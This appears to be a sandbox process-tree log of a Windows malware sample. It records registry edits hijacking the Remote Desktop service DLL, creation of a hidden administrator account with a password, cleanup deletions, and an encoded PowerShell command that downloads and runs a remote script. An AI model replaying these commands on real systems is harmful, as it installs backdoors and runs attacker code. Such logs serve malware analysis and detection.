PID:1700
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4056
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2512
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f5⤵PID:4036
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f5⤵
- Modifies registry key
PID:620
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f5⤵PID:3048
-
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add5⤵
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add6⤵PID:3948
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr5⤵
- Suspicious use of WriteProcessMemory
PID:2216 -
C:\Windows\system32\cmd.execmd /c net start rdpdr6⤵
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\system32\net.exenet start rdpdr7⤵
- Suspicious use of WriteProcessMemory
PID:2452 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr8⤵PID:3936
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService5⤵
- Suspicious use of WriteProcessMemory
PID:3188 -
C:\Windows\system32\cmd.execmd /c net start TermService6⤵
- Suspicious use of WriteProcessMemory
PID:740 -
C:\Windows\system32\net.exenet start TermService7⤵
- Suspicious use of WriteProcessMemory
PID:748 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService8⤵PID:2960
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f5⤵PID:1496
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f5⤵PID:2188
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im faef9c278a4e0ad4686985084bea37e9.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\faef9c278a4e0ad4686985084bea37e9.exe" & del C:\ProgramData\*.dll & exit3⤵
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Windows\SysWOW64\taskkill.exetaskkill /im faef9c278a4e0ad4686985084bea37e9.exe /f4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3500
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 64⤵
- Delays execution with timeout.exe
PID:1560
-
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵
- Suspicious use of WriteProcessMemory
PID:636 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵
- Suspicious use of WriteProcessMemory
PID:3928 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:3052
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc ZBrGKQaJ /add1⤵
- Suspicious use of WriteProcessMemory
PID:3564 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc ZBrGKQaJ /add2⤵
- Suspicious use of WriteProcessMemory
PID:3888 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc ZBrGKQaJ /add3⤵PID:2880
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:2272
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:3984
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:2364
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD1⤵PID:1288
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD2⤵PID:3796
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD3⤵PID:2748
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:4040
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:3688
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:2152
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc ZBrGKQaJ1⤵PID:3256
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc ZBrGKQaJ2⤵PID:3960
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc ZBrGKQaJ3⤵PID:3804
-
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:3564
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵PID:3984
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:3768
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵PID:3796
-
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:2300
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:3952
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2412
-
-